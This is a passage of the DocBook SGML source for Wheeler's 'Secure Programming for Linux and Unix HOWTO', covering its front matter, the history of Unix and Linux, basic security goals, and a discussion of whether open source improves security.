LDP/LDP/howto/docbook/Secure-Programs-HOWTO/Secure-Programs-HOWTO.sgml

<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook V3.1//EN">

<!-- "Secure Programming for Linux and Unix HOWTO",
     Copyright (C) 2000 David A. Wheeler
     http://www.dwheeler.com/secure-programs  -->


<!-- This is a sample comment.
     This book has had more titles than I'd like to think about. It was
     originally titled "How to Write Secure Programs for Linux", then
     "Design and Implementation Guidelines for Secure Linux Applications".
     I first released it widely as the
     "Secure Programming for Linux HOWTO", and then it morphed into the
     "Secure Programming for Linux and Unix HOWTO".

     You can get the latest version of this book from:
     http://www.dwheeler.com/secure-programs/

     Note that this is the DocBook DTD version!
     To process it, get DocBook tools. If you are using Cygnus's tools, do this:
       db2html Secure*.sgml
       db2ps   Secure*.sgml

    Earlier versions through version 1.60 used the Linuxdoc DTD;
    Version 2.00 has the same content as 1.60, but in DocBook foramat.
    While the book is now legal DocBook content, it's not "fully"
    marked-up; suggestions on missing markings welcome.


-->

<!--
??? Need to add material from Oliver Friedrichs <of@securityfocus.com>
http://www.securityfocus.com/forums/secprog/secure-programming.html
especially code examples.  This will add Windows-related material, so
I'll change the title to be more inclusive and add summary materials about
Windows' security approaches.  This will involve a modification of many
areas, since most of the text assumes a Unix-like only viewpoint.

??? Should look at Razvan Peteanu <razvan.peteanu@home.com>'s material at
http://members.home.net/razvan.peteanu/Best%20Practices%20for%20Secure%20Web
%20Development%203.0.pdf
to see if I've missed anything.

-->


<book>

<bookinfo>

<!-- bookbiblio -->

<title>Secure Programming for Linux and Unix HOWTO</title>
<author>
<firstname>David</firstname> <othername role="mi">A.</othername><surname>Wheeler</surname>
</author>
<address><email>dwheeler@dwheeler.com</email></address>
<pubdate>v2.75, 12 January 2001</pubdate>
<edition>v2.75</edition>
<!-- FYI: The LDP claims they don't use the "edition" tag.  -->
<copyright>
 <year>1999</year>
 <year>2000</year>
 <year>2001</year>
 <holder>David A. Wheeler</holder>
</copyright>

<legalnotice>
<para>
This book is Copyright (C) 1999-2000 David A. Wheeler.
Permission is granted to copy, distribute and/or modify
this book under the terms of the GNU Free Documentation License (GFDL),
Version 1.1 or any later version published by the Free Software Foundation;
with the invariant sections being ``About the Author'',
with no Front-Cover Texts, and no Back-Cover texts.
A copy of the license is included in the section entitled
"GNU Free Documentation License".
This book is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
</para>
</legalnotice>

<abstract>
<para>
This book provides a set of design and implementation
guidelines for writing secure programs for Linux and Unix systems.
Such programs include application programs used as viewers of remote data,
web applications (including CGI scripts),
network servers, and setuid/setgid programs.
Specific guidelines for C, C++, Java, Perl, Python, TCL,
and Ada95 are included.
</para>
</abstract>

<!-- /bookbiblio -->
<keywordset>
  <keyword>secure programming</keyword>
  <keyword>secure programs</keyword>
  <keyword>secure applications</keyword>
  <keyword>secure</keyword>
  <keyword>programming</keyword>
  <keyword>security</keyword>
  <keyword>Linux</keyword>
  <keyword>Unix</keyword>
  <keyword>hack</keyword>
  <keyword>crack</keyword>
  <keyword>vulnerability</keyword>
  <keyword>buffer overflow</keyword>
  <keyword>design</keyword>
  <keyword>implementation</keyword>
  <keyword>web application</keyword>
  <keyword>web applications</keyword>
  <keyword>CGI</keyword>
  <keyword>setuid</keyword>
  <keyword>setgid</keyword>
  <keyword>C</keyword>
  <keyword>C++</keyword>
  <keyword>Java</keyword>
  <keyword>Perl</keyword>
  <keyword>Python</keyword>
  <keyword>TCL</keyword>
  <keyword>Ada</keyword>
  <keyword>Ada95</keyword>
</keywordset>

</bookinfo>

<!-- Begin the book -->


<chapter id="introduction">
<title>Introduction</title>

<epigraph>
<attribution>Proverbs 21:22 (NIV)</attribution>
<para>
A wise man attacks the city of the mighty
and pulls down the stronghold in which they trust. 
</para>
</epigraph>

<para>
This book describes a set of design and implementation guidelines for
writing secure programs on Linux and Unix systems.
For purposes of this book, a ``secure program'' is a program
that sits on a security boundary, taking input from a source that does
not have the same access rights as the program.
Such programs include application programs used as viewers of remote data,
web applications (including CGI scripts),
network servers, and setuid/setgid programs.
This book does not address modifying the operating system kernel itself,
although many of the principles discussed here do apply.
These guidelines were developed as a survey of
``lessons learned'' from various sources on how to create such programs
(along with additional observations by the author),
reorganized into a set of larger principles.
This book includes specific guidance for a number of languages,
including C, C++, Java, Perl, Python, TCL, and Ada95.
</para>

<para>
This book does not cover assurance measures, software engineering
processes, and quality assurance approaches,
which are important but widely discussed elsewhere.
Such measures include testing, peer review,
configuration management, and formal methods.
Documents specifically identifying sets of development
assurance measures for security issues include
the Common Criteria [CC 1999]
and the
System Security Engineering Capability Maturity Model [SSE-CMM 1999].
More general sets of software engineering methods or processes
are defined in documents such as the
Software Engineering Institute's Capability Maturity Model for Software
(SE-CMM), ISO 9000 (along with ISO 9001 and ISO 9001-3), and ISO 12207.
<!-- ??? Ideally have references for these. -->
</para>

<para>
This book does not discuss how to configure a system (or network)
to be secure in a given environment. This is clearly necessary for
secure use of a given program,
but a great many other documents discuss secure configurations.
An excellent general book on configuring Unix-like systems to be
secure is Garfinkel [1996].
Other books for securing Unix-like systems include Anonymous [1998].
You can also find information on configuring Unix-like systems at web sites
such as
<ulink url="http://www.unixtools.com/security.html">http://www.unixtools.com/security.html</ulink>.
Information on configuring a Linux system to be secure is available in a
wide variety of documents including
Fenzi [1999], Seifried [1999], Wreski [1998], Swan [2001],
and Anonymous [1999].
For Linux systems (and eventually other Unix-like systems),
you may want to examine the Bastille Hardening System, which
attempts to ``harden'' or ``tighten'' the Linux operating system. 
You can learn more about Bastille at
<ulink url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink>;
it is available for free under the General Public License (GPL).
</para>

<para>
This book assumes that the reader understands computer
security issues in general, the general security model of Unix-like systems,
and the C programming language.
This book does include some information about the Linux and Unix
programming model for security.
</para>

<para>
This book covers all Unix-like systems, including Linux and the
various strains of Unix, and it particularly stresses Linux and provides
details about Linux specifically.
There are several reasons for this, but a simple reason is popularity.
According to a 1999 survey by IDC,
significantly more servers (counting both Internet and intranet servers)
were installed in 1999 with Linux than with all
Unix operating system types combined (25% for Linux versus
15% for all Unix system types combined; note that
Windows NT came in with 38% compared to the 40% of all Unix-like servers)
[Shankland 2000].
<!-- http://news.cnet.com/news/0-1003-200-1549312.html -->
A survey by Zoebelein in April 1999 found that, of the total number of
servers deployed on the Internet in 1999
(running at least ftp, news, or http (WWW)), the majority were running
Linux (28.5%), with others trailing (24.4% for all Windows 95/98/NT
combined, 17.7% for Solaris or SunOS,
15% for the BSD family, and 5.3% for IRIX).
Advocates will notice that the majority of servers on the Internet
(around 66%) were running Unix-like
systems, while only around 24% ran a Microsoft Windows variant.
<!-- http://www.leb.net/hzo/ioscount -->
<!-- Other surveys of the Internet are interesting but don't shed light
     on this issue.  E.G. The Internet Domain Survey at http://www.isc.org/ds
     tries to find every host, but doesn't id who runs what -->
Finally, the original version of this book only discussed Linux, so
although its scope has expanded, the Linux information is still
noticeably dominant.
If you know relevant information not already included here, please let
me know.
</para>

<para>
You can find the master copy of this book at
<ulink url="http://www.dwheeler.com/secure-programs">http://www.dwheeler.com/secure-programs</ulink>.
This book is also part of the Linux Documentation Project (LDP) at
<ulink
url="http://www.linuxdoc.org">http://www.linuxdoc.org</ulink>
It's also mirrored in several other places.
Please note that these mirrors, including the LDP copy and/or the
copy in your distribution, may be older than the master copy.
I'd like to hear comments on this book, but please do not send comments
until you've checked to make sure that your comment is valid for the
latest version.
</para>

<para>
This book is copyright (C) 1999-2001 David A. Wheeler and is covered by the
GNU Free Documentation License (GFDL);
see <xref linkend="about-license"> and
<xref linkend="fdl"> for more information.
</para>

<para>
<xref linkend="background">
discusses the background of Unix, Linux, and security.
<xref linkend="features">
describes the general Unix and Linux security model,
giving an overview of the security attributes and operations of
processes, filesystem objects, and so on.
This is followed by the meat of this book, a set of design and implementation
guidelines for developing applications on Linux and Unix systems.
The book ends with conclusions in
<xref linkend="conclusion">,
followed by a lengthy bibliography and appendices.
</para>

<!-- ???: Reference other taxonomies, such as Bisbey's at
     http://seclab.cs.ucdavis.edu/projects/history/papers/bisb78.pdf
     and see if I should (partially) switch to one of them.
-->
<para>
The design and implementation guidelines are divided into
categories which I believe emphasize the programmer's viewpoint.
Programs accept inputs, process data, call out to other resources,
and produce output, as shown in <xref linkend="abstract-program">;
notionally all security guidelines fit into one of these categories.
I've subdivided ``process data'' into
structuring program internals and approach,
avoiding buffer overflows (which in some cases can also be considered
an input issue),
language-specific information, and special topics.
The chapters are ordered to make the material easier to follow.
Thus, the book chapters giving guidelines discuss
validating all input (<xref linkend="input">),
avoiding buffer overflows (<xref linkend="buffer-overflow">),
structuring program internals and approach (<xref linkend="internals">),
carefully calling out to other resources (<xref linkend="call-out">),
judiciously sending information back (<xref linkend="output">),
language-specific information (<xref linkend="language-specific">),
and finally information on special topics such as how to acquire random
numbers (<xref linkend="special">).
</para>

<figure float="1" id="abstract-program">
    <title>Abstract View of a Program</title>
    <mediaobject>
       <imageobject>
          <imagedata scalefit="1" fileref="program.eps" format="eps">
       </imageobject>
       <imageobject>
          <!-- I want to use PNG, and I have a PNG file, but DocBook 3.1
               doesn't permit PNG.  Later versions do, but not everyone
               can handle that yet. -->
          <imagedata fileref="program.gif" format="gif">
       </imageobject>
       <textobject>
          <phrase>
A program accepts inputs, processes data,
possibly calls out to other programs, and produces output.
          </phrase>
       </textobject>
    </mediaobject>
</figure>

</chapter>

<chapter id="background">
<title>Background</title>

<epigraph>
<attribution>Ezra 4:19 (NIV)</attribution>
<para>
I issued an order and a search was made, and it was found that this
city has a long history of revolt against kings and has been
a place of rebellion and sedition.
</para>
</epigraph>

<sect1 id="history">
<title>History of Unix, Linux, and Open Source / Free Software</title>

<sect2 id="unix-history">
<title>Unix</title>

<para>
In 1969-1970, Kenneth Thompson, Dennis Ritchie, and others at
AT&amp;T Bell Labs began developing
a small operating system on a little-used PDP-7.
The operating system was soon christened Unix, a pun on an earlier operating
system project called MULTICS.
In 1972-1973 the system was rewritten in the programming language C,
an unusual step that was visionary: due to this decision, Unix was
the first widely-used operating system that
could switch from and outlive its original hardware.
Other innovations were added to Unix as well, in part due to synergies
between Bell Labs and the academic community.
In 1979, the ``seventh edition'' (V7) version
of Unix was released, the grandfather of all extant Unix systems.
</para>

<para>
After this point, the history of Unix becomes somewhat convoluted.
The academic community, led by Berkeley, developed a variant called the
Berkeley Software Distribution (BSD), while AT&amp;T continued developing
Unix under the names ``System III'' and later ``System V''.
In the late 1980's through early 1990's
the ``wars'' between these two major strains raged.
After many years each variant adopted many of the key features of the other.
Commercially, System V won the ``standards wars'' (getting most of its
interfaces into the formal standards), and
most hardware vendors switched to AT&amp;T's System V.
However, System V ended up incorporating many BSD innovations, so the
resulting system was more a merger of the two branches.
The BSD branch did not die, but instead became widely used
for research, for PC hardware, and for
single-purpose servers (e.g., many web sites use a BSD derivative).
</para>

<para>
The result was many different versions of Unix,
all based on the original seventh edition.
Most versions of Unix were proprietary and maintained by their respective
hardware vendor, for example, Sun Solaris is a variant of System V.
Three versions of the BSD branch of Unix ended up as open source:
FreeBSD (concentating on ease-of-installation for PC-type hardware),
NetBSD (concentrating on many different CPU architectures), and
a variant of NetBSD, OpenBSD (concentrating on security).
More general information can be found at
<ulink
url="http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm">http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm</ulink>.
Much more information about the BSD history can be found in
[McKusick 1999] and
<ulink
url="ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree">ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree</ulink>.
</para>

<para>
Those interested in reading an advocacy piece that presents arguments
for using Unix-like systems should see
<ulink
url="http://www.unix-vs-nt.org">http://www.unix-vs-nt.org</ulink>.
<!-- Note that researchers prefer Unix-like systems, not Windows; see
     http://www.dyncorp-is.com/darpa/meetings/win98aug/wars.html -->
</para>

</sect2>

<sect2 id="fsf-history">
<title>Free Software Foundation</title>

<para>
In 1984 Richard Stallman's Free Software Foundation (FSF) began the GNU
project, a project to create a free version of the Unix operating system.
By free, Stallman meant software that could be freely
used, read, modified, and redistributed.
The FSF successfully built a vast number of
useful components, including a C compiler (gcc), an
impressive text editor (emacs), and a host of fundamental tools.
However, in the 1990's the FSF
was having trouble developing the operating system kernel [FSF 1998];
without a kernel the rest of their software would not work.
</para>

</sect2>

<sect2 id="linux-history">
<title>Linux</title>

<para>
In 1991 Linus Torvalds began developing an operating system kernel, which
he named ``Linux'' [Torvalds 1999].
This kernel could be combined with the FSF material and other components
(in particular some of the BSD components and MIT's X-windows software) to
produce a freely-modifiable and very useful operating system.
This book will term the kernel itself the ``Linux kernel'' and
an entire combination as ``Linux''.
Note that many use the term ``GNU/Linux'' instead for this combination.
</para>

<para>
In the Linux community,
different organizations have combined the available components differently.
Each combination is called a ``distribution'', and the organizations that
develop distributions are called ``distributors''.
Common distributions include Red Hat, Mandrake, SuSE, Caldera, Corel,
and Debian.
There are differences between the various distributions,
but all distributions are based on the same foundation: the
Linux kernel and the GNU glibc libraries.
Since both are covered by ``copyleft'' style licenses, changes to
these foundations generally must be made available to all, a
unifying force between the Linux distributions at their foundation
that does not exist between the BSD and AT&amp;T-derived Unix systems.
This book is not specific to any Linux distribution; when it
discusses Linux it presumes Linux
kernel version 2.2 or greater and the C library glibc 2.1 or greater,
valid assumptions for essentially all current major
Linux distributions.
</para>

</sect2>

<sect2 id="oss-history">
<title>Open Source / Free Software</title>

<para>
Increased interest in software that is freely shared
has made it increasingly necessary to define and explain it.
A widely used term is ``open source software'', which is further defined in
[OSI 1999].
Eric Raymond [1997, 1998] wrote several seminal articles examining
its various development processes.
Another widely-used term is ``free software'', where the ``free''
is short for ``freedom'': the usual explanation is ``free speech, not
free beer.''
Neither phrase is perfect.
The term
``free software'' is often confused with programs whose executables are
given away at no charge, but whose source code cannot be viewed, modified,
or redistributed.
Conversely, the term ``open source'' is sometime (ab)used
to mean software whose
source code is visible, but for which there are limitations on
use, modification, or redistribution.
This book uses the term ``open source'' for its usual meaning, that
is, software which has its source code freely available for
use, viewing, modification, and redistribution; a more detailed
definition is contained in the
<ulink
url="http://www.opensource.org/osd.html">Open Source Definition</ulink>.
In some cases, a difference in motive is suggested;
those preferring the term ``free software'' wish to strongly
emphasize the need for freedom, while those using the term may have
other motives (e.g., higher reliability) or simply wish to appear less
strident.
For information on this definition of free software, and
the motivations behind it, can be found at
<ulink url="http://www.fsf.org">http://www.fsf.org</ulink>.
</para>

<para>
Those interested in reading advocacy pieces for open source software
and free software should see
<ulink
url="http://www.opensource.org">http://www.opensource.org</ulink> and
<ulink
url="http://www.fsf.org">http://www.fsf.org</ulink>.
There are other documents which examine such software, for example,
Miller [1995]
found that the open source software were noticeably
more reliable than proprietary software
(using their measurement technique, which measured
resistance to crashing due to random input).
</para>

</sect2>

<sect2 id="linux-vs-unix">
<title>Comparing Linux and Unix</title>

<para>
This book uses the term ``Unix-like'' to describe
systems intentionally like Unix.
In particular, the term ``Unix-like'' includes
all major Unix variants and Linux distributions.
Note that many people simply use the term ``Unix'' to describe these systems
instead.
</para>

<para>
Linux is not derived from Unix source code, but its interfaces are
intentionally like Unix.
Therefore, Unix lessons learned generally apply to both, including information
on security.
Most of the information in this book applies to any Unix-like system.
Linux-specific information has been intentionally added to
enable those using Linux to take advantage of Linux's capabilities.
</para>

<para>
Unix-like systems share a number of security mechanisms, though there
are subtle differences and not all systems have all mechanisms available.
All include user and group ids (uids and gids) for each process and
a filesystem with read, write, and execute permissions (for user, group, and
other).
<!-- ???: Most include System V single-machine
     inter-process communication (IPC) mechanisms
      and BSD's socket-based IPC (which support networks). -->
See Thompson [1974] and Bach [1986]
for general information on Unix systems, including their basic
security mechanisms.
<xref linkend="features">
summarizes key security features of Unix and Linux.
</para>

</sect2>

</sect1>

<sect1 id="security-principles">
<title>Security Principles</title>

<para>
There are many general security principles which you should be
familiar with; consult a general text on computer security such as
[Pfleeger 1997].
A few points are summarized here.
</para>

<para>
Often computer security goals are described in terms of three
overall goals:

<itemizedlist>
<listitem>

<para>
<emphasis remap="it">Confidentiality</emphasis> (also known as secrecy), meaning that the
computing system's assets are accessible only by authorized parties.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Integrity</emphasis>, meaning that the assets can only be modified by
authorized parties in authorized ways.
</para>
</listitem>
<listitem>

<para>
<emphasis remap="it">Availability</emphasis>,
meaning that the assets are accessible to the authorized 
parties in a timely manner (as determined by the systems requirements).
The failure to meet this goal is called a denial of service.
</para>
</listitem>

</itemizedlist>


Some people define additional security goals, while others lump those
additional goals as special cases of these three goals.
For example, some separately
identify non-repudiation as a goal; this is
the ability to ``prove'' that a sender sent or receiver received a message,
even if the sender or receiver wishes to deny it later.
Privacy is sometimes addressed separately from confidentiality;
some define this as protecting the confidentiality of a
<emphasis>user</emphasis> (e.g., their identity) instead of the data.
Most goals require identification and authentication, which is
sometimes listed as a separate goal.
Often auditing (also called accountability) is identified
as a desirable security goal.
Sometimes ``access control''  and ``authenticity'' are listed separately
as well.
In any case, it is important to identify your program's overall
security goals, no matter how you group those goals together,
so that you'll know when you've met them.
</para>

<!-- ???: Reference other classics? Orange Book? CC? See
  http://seclab.cs.ucdavis.edu/projects/history/seminal.html

 Reference other Computer security websites and issues, including:
    http://www.centralwebs.co.uk/Links/secure.html
 Maximum Security's appendix:
    http://www.uzsci.net/documentation/Books/Max_Security/apa/apa.htm

 Multiplayer games -
   How to Hurt the Hackers: The Scoop on Internet Cheating
    and How You Can Combat It
   By Matt Pritchard 
   Gamasutra
   July 24, 2000
   http://www.gamasutra.com/features/20000724/pritchard_pfv.htm
 -->

<para>
Sometimes these goals are a response to a known set of threats,
and sometimes some of these goals are required by law.
For example, for U.S. banks and other financial institutions,
there's a new privacy law called the ``Gramm-Leach-Bliley'' (GLB) Act.
This law mandates disclosure of personal information shared and
means of securing that data, requires disclosure of personal information
that will be shared with third parties, and directs institutions to
give customers a chance to opt out of data sharing.
[Jones 2000]
</para>

<para>
There is sometimes conflict between security and some other general
system/software engineering principles.
Security can sometimes interfere with ``ease of use'', for example,
installing a secure configuration may take more effort than a
``trivial'' installation that works but is insecure.
OFten, this apparant conflict can be resolved, for example, by re-thinking
a problem it's often possible to make a secure system also easy to use.
There's also sometimes a conflict between security and abstraction
(information hiding);
for example, some high-level library routines may be implemented securely
or not, but their specifications won't tell you.
In the end, if your application must be secure, you must do things yourself
if you can't be sure otherwise - yes, the library should be fixed, but
it's your users who will be hurt by your poor choice of library routines.
</para>

</sect1>

<sect1 id="open-source-security">
<title>Is Open Source Good for Security?</title>

<para>
There's been a lot of debate by security practioners
about the impact of open source approaches on security.
One of the key issues is that open source exposes the source code
to examination by everyone, both the attackers and defenders,
and reasonable people disagree about the ultimate impact of this situation.
</para>

<para>
Here are a few quotes from people who've examined the topic.
Bruce Schneier argues that smart engineers should ``demand
open source code for anything related to security'' [Schneier 1999],
and he also discusses some of the preconditions which must be met to make
open source software secure.
Vincent Rijmen, a developer of the winning Advanced Encryption Standard (AES)
encryption algorithm, believes that
the open source nature of Linux
provides a superior vehicle to making security vulnerabilities easier
to spot and fix, ``Not only because more people can look at it, but,
more importantly, because the model forces people to write more clear
code, and to adhere to standards. This in turn facilitates security review''
[Rijmen 2000].
Elias Levy (Aleph1) discusses some of the problems in making open source
software secure in his article
<ulink url="http://www.securityfocus.com/commentary/19">"Is Open Source
Really More Secure than Closed?"</ulink>.
His summary is:
<blockquote>
<para>
So does all this mean Open Source Software is no better than closed
source software when it comes to security vulnerabilities? No. Open
Source Software certainly does have the potential to be more secure
than its closed source counterpart.
But make no mistake, simply being open source is no guarantee of security.
</para>
</blockquote>
John Viega's article
<ulink url="http://dev-opensourceit.earthweb.com/news/000526_security.html">"The Myth of Open Source Security"</ulink> also discusses
issues, and summarizes things this way:
<blockquote>
<para>
Open source software projects can be more secure than closed
source projects. However, the very things that can make open
source programs secure -- the availability of the source code,
and the fact that large numbers of users are available to look
for and fix security holes -- can also lull people into a false
sense of security. 
</para>
</blockquote>
<ulink url="http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-ramparts.html">Michael H. Warfield's "Musings on open source security"</ulink> is much
more positive about the impact of open source software on security.
Fred Schneider doesn't believe that open source helps security, saying
``there is no reason to believe that the many eyes inspecting (open)
source code would be successful in identifying bugs that allow
system security to be compromised'' and claiming that
``bugs in the code are not the dominant means of attack'' [Schneider 2000].
He also claims that open source rules out control of the construction
process, though in practice there is such control - all major open source
programs have one or a few official versions with ``owners'' with
reputations at stake.
Peter G. Neumann discusses ``open-box'' software (in which source code
is available, possibly only under certain conditions), saying
``Will open-box software really improve system security?
My answer is not by itself, although the potential is considerable''
[Neumann 2000].
</para>

<para>
Sometimes it's noted that a vulnerability that exists but is unknown
can't be exploited, so the system ``practically secure.''
In theory this is true, but the problem is that once someone finds
the vulnerability, the finder may just exploit
the vulnerability instead of helping to fix it.
Having unknown vulnerabilities doesn't really make the vulnerabilities go away;
it simply means that the vulnerabilities are a time bomb, with no
way to know when they'll be exploited.
Fundamentally, the problem of someone exploiting a vulnerability they
discover is a problem for both open and closed source systems.
It's been argued that a 
system without source code is more secure in this sense because,
since there's less information available for an attacker, it would be
harder for an attacker to find the vulnerabilities.
A counter-argument is that attackers generally don't need source code,
and if they want to use source code they can use disassemblers to re-create
the source code of the product.
In contrast, defenders won't usually look for problems if they
don't have the source code, so not having the source code puts defenders
at a disadvantage compared to attackers.
</para>

<para>
It's sometimes argued that open source programs, because there's no
enforced control by a single company, permit people to insert Trojan
Horses and other malicious code.
This is true, but it's true for closed source programs -
a disgrunted or bribed employee can insert malicious code, and
in many organizations it's even less likely to be found
(since no one outside the organization can review the code, and few
companies review their code internally).
And the notion that a closed-source company can be sued later has little
evidence; nearly all licenses disclaim all warranties, and courts have
generally not held software development companies liable.
</para>

<para>
Borland's Interbase server is an interesting case in point.
Some time between 1992 and 1994, Borland inserted an intentional
``back door'' into their database server, ``Interbase''.
This back door allowed any local or remote user to
manipulate any database object and install arbitrary programs, and
in some cases could lead to controlling the machine as ``root''.
This vulnerability stayed in the product for at least 6 years - no one else
could review the product, and Borland had no incentive to remove the
vulnerability.
Then Borland released its source code on July 2000.
The "Firebird" project began working with the source code, and
uncovered this serious security problem
with InterBase in December 2000.
By January 2001 the CERT announced the existence of this back door as
<ulink url="http://www.cert.org/advisories/CA-2001-01.html">CERT
advisory CA-2001-01</ulink>.
What's discouraging is that the backdoor can be easily found simply by
looking at an ASCII dump of the program (a common cracker trick).
Once this problem was found by open source developers reviewing
the code, it was patched quickly.
You could argue that, by keeping the password unknown,
the program stayed safe, and that opening the source made
the program less secure.
I think this is nonsense, since ASCII dumps are trivial to do and well-known
as a standard attack technique, and not all attackers have sudden
urges to announce vulnerabilities - in fact, there's no way to be
certain that this vulnerability has not been exploited many times.
It's clear that after the source was opened, the source code was
reviewed over time, and the vulnerabilities found and fixed.
One way to characterize this is to say that the original code was
vulnerable, its vulnerabilites because easier to exploit
when it was first made open source,
and then finally these vulnerabilities were fixed.
<!--
     The 1992-1994 date is from
      http://slashdot.org/articles/01/01/11/1318207.shtml
  The December 2000 and other info is from:
  http://firebird.ibphoenix.com/home.nfs?a=ibphoenix&amp;s=979248432:339&amp;page=starkey
-->
</para>

<para>
So, what's the bottom line?
I personally believe that when a program is first made open source, it
often starts less secure for any users (through exposure of
vulnerabilities), and over time (say a few years) it has
the potential to be much more secure than a closed program.
Just making a program open source doesn't suddenly make a program secure,
and making an open source program secure is not guaranteed:
<itemizedlist>
<listitem><para>
First, people have to actually review the code.
This is one of the key points of debate - will people really
review code in an open source project?
All sorts of factors can reduce the amount of review:
being a niche or rarely-used product (where there are few potential reviewers),
having few developers, and use of a rarely-used computer language.
</para>
<para>
One factor that can particularly reduce review likelihood is not actually
being open source.
Some vendors like to posture their ``disclosed source''
(also called ``source available'') programs as
being open source, but since the program owner has extensive exclusive rights,
others will have far less incentive to work ``for free'' for the owner
on the code.
Even open source licenses like the MPL, which has unusually
asymmetric rights, has this problem.
After all, people are less likely to voluntarily participate
if someone else will have rights to their results that they don't have
(as Bruce Perens says, ``who wants to be someone else's unpaid employee?'').
In particular,
since the most incentivized reviewers tend to be people trying to modify
the program, this disincentive to participate reduces the number of
``eyeballs''.
Elias Levy made this mistake in his article about open source
security; his examples of software that had been broken into
(e.g., TIS's Gauntlet) were not, at the time, open source.
</para></listitem>
<listitem><para>
Second, the people developing and
reviewing the code must know how to write secure
programs. Hopefully this existence of this book will help.
Clearly, it doesn't matter if there are ``many eyeballs'' if none of the
eyeballs know what to look for.
</para></listitem>
<listitem><para>
Third, once found, these problems need to be fixed quickly
and their fixes distributed.
Open source systems tend to fix the problems quickly, but the distribution
is not always smooth.
For example, the OpenBSD does an excellent job of reviewing code for
security flaws - but doesn't always report the problems back to the
original developer.
Thus, it's quite possible for there to be a fixed version in one system,
but for the flaw to remain in another.
</para></listitem>
</itemizedlist>
Another advantage of open source is that, if you find a problem, you can
fix it immediately.
</para>

<!--
 Could quote some numbers.  More NT than Linux vulnerabilities found in 2000;
 more NT web sites defaced, too.  But it's hard to really quantify.
-->

<para>
In short, the effect on security of open source software
is still a major debate in the security community, though a large number
of prominent experts believe that it has great potential to be
more secure.
</para>

</sect1>

<sect1 id="types-of-programs">
<title>Types of Secure Programs</title>

<para>
Many different types of programs may need to be secure programs
(as the term is defined in this book).
Some common types are:

<itemizedlist>
<listitem>
<para>
Application programs used as viewers of remote data.
Programs used as viewers (such as word processors or file format viewers)
are often asked to view data sent remotely by an untrusted user
(this request may be automatically invoked by a web browser).
Clearly, the untrusted
user's input should not be allowed to cause the application
to run arbitrary programs.
It's usually unwise to support initialization macros (run when the data
is displayed); if you must, then you must create a secure sandbox
(a complex and error-prone task).
Be careful of issues such as buffer overflow, discussed in
<xref linkend="buffer-overflow">, which might
allow an untrusted user to force the viewer to run an arbitrary program.
</para>
</listitem>

<listitem>
<para>
Application programs used by the administrator (root).
Such programs shouldn't trust information that can be controlled
by non-administrators.
</para>
</listitem>

<listitem>
<para>
Local servers (also called daemons).
</para>
</listitem>

<listitem>
<para>
Network-accessible servers (sometimes called network daemons).
</para>
</listitem>

<listitem>
<para>
Web-based applications (including CGI scripts).
These are a special case of network-accessible servers, but they're
so common they deserve their own category.
Such programs are invoked indirectly via a web server, which filters out
some attacks but nevertheless leaves many attacks that must be withstood.
</para>
</listitem>

<listitem>
<para>
Applets (i.e., programs downloaded to the client for automatic execution).
This is something Java is especially famous for, though other languages
(such as Python) support mobile code as well.
There are several security viewpoints here; the implementor of the
applet infrastructure on the client side has to make sure that the
only operations allowed are ``safe'' ones, and the writer of an applet has
to deal with the problem of hostile hosts (in other words, you can't
normally trust the client).
There is some research attempting to deal with running applets on
hostile hosts, but frankly
I'm sceptical of the value of these approaches
and this subject is exotic enough that I don't cover it further here.
</para>
</listitem>

<listitem>
<para>
setuid/setgid programs.
These programs are invoked by a local user and, when executed, are
immediately granted the privileges of the program's owner and/or
owner's group.
In many ways these are the hardest programs to secure, because so many
of their inputs are under the control of the untrusted user and some
of those inputs are not obvious.
</para>
</listitem>

</itemizedlist>

</para>

<para>
This book merges the issues of these different types of program into
a single set.
The disadvantage of this approach is that some of the issues identified
here don't apply to all types of programs.
In particular, setuid/setgid programs have many surprising inputs and several
of the guidelines here only apply to them.
However, things are not so clear-cut, because 
a particular program may cut across these boundaries (e.g., a CGI script
may be setuid or setgid, or be configured in a way that has the same effect),
and some programs are divided into several executables each of which
can be considered a different ``type'' of program.
The advantage of considering all of these program types together is that we can
consider all issues without trying to apply an inappropriate category
to a program.
As will be seen, many of the principles apply to all programs that
need to be secured.
</para>

<para>
There is a slight bias in this book towards programs written in
C, with some notes on other languages such as C++, Perl, Python, Ada95, and
Java.
This is because C is the most common language for
implementing secure programs on Unix-like systems
(other than CGI scripts, which tend to use Perl),
and most other languages' implementations call the C library.
This is not to imply that C is somehow the ``best'' language for this purpose,
and most of the principles described here apply regardless of the
programming language used.
</para>

</sect1>

<sect1 id="paranoia">
<title>Paranoia is a Virtue</title>

<para>
The primary difficulty in writing secure programs is that
writing them requires a different mindset, in short, a paranoid mindset.
The reason is that the impact of errors (also called defects or bugs)
can be profoundly different.
</para>

<para>
Normal non-secure programs have many errors.
While these errors are undesirable, these errors usually 
involve rare or unlikely situations, and if a user should stumble upon
one they will try to avoid using the tool that way in the future.
</para>

<para>
In secure programs, the situation is reversed.
Certain users will intentionally search out and cause rare or unlikely
situations, in the hope that such attacks will give them unwarranted privileges.
As a result, when writing secure programs, paranoia is a virtue.
</para>

</sect1>

<sect1 id="why-write">
<title>Why Did I Write This Document?</title>
<!-- ???: Okay, this doesn't really belong here, but I can't figure out
     where else to put it.  I don't want the introduction to get longer. -->
<!-- ???: http://www.wired.com/news/politics/0,1283,34865,00.html
      "Developers Blasted on Security", Reuters, 8:45 a.m. Mar. 9, 2000 PST
      Rich Pethia stated to the U.S. Congress that
     "There is little evidence of improvement in the security features of most
             products,"
      "Developers are not devoting sufficient effort to apply lessons
                         learned about the sources of vulnerabilities."
     Richard D. Pethia is manager of the SEI Survivable Systems
     Initiative and first manager of the CERT<52> Coordination Center (CERT<52>/CC).
     (see Spotlight . Volume 1 . Issue 3 . December 1998,
      "Interview with Richard D. Pethia" by Bill Pollak at
      http://interactive.sei.cmu.edu/Features/1998/December/Spotlight/spotlight_dec98.htm
      This interview states "The problem that I see is at the implementation
      level - the code that's going out today is just as buggy as the code
      that went out 10 years ago."


??? : Somehow add:
"A secure and Open society"
August 27, 1999
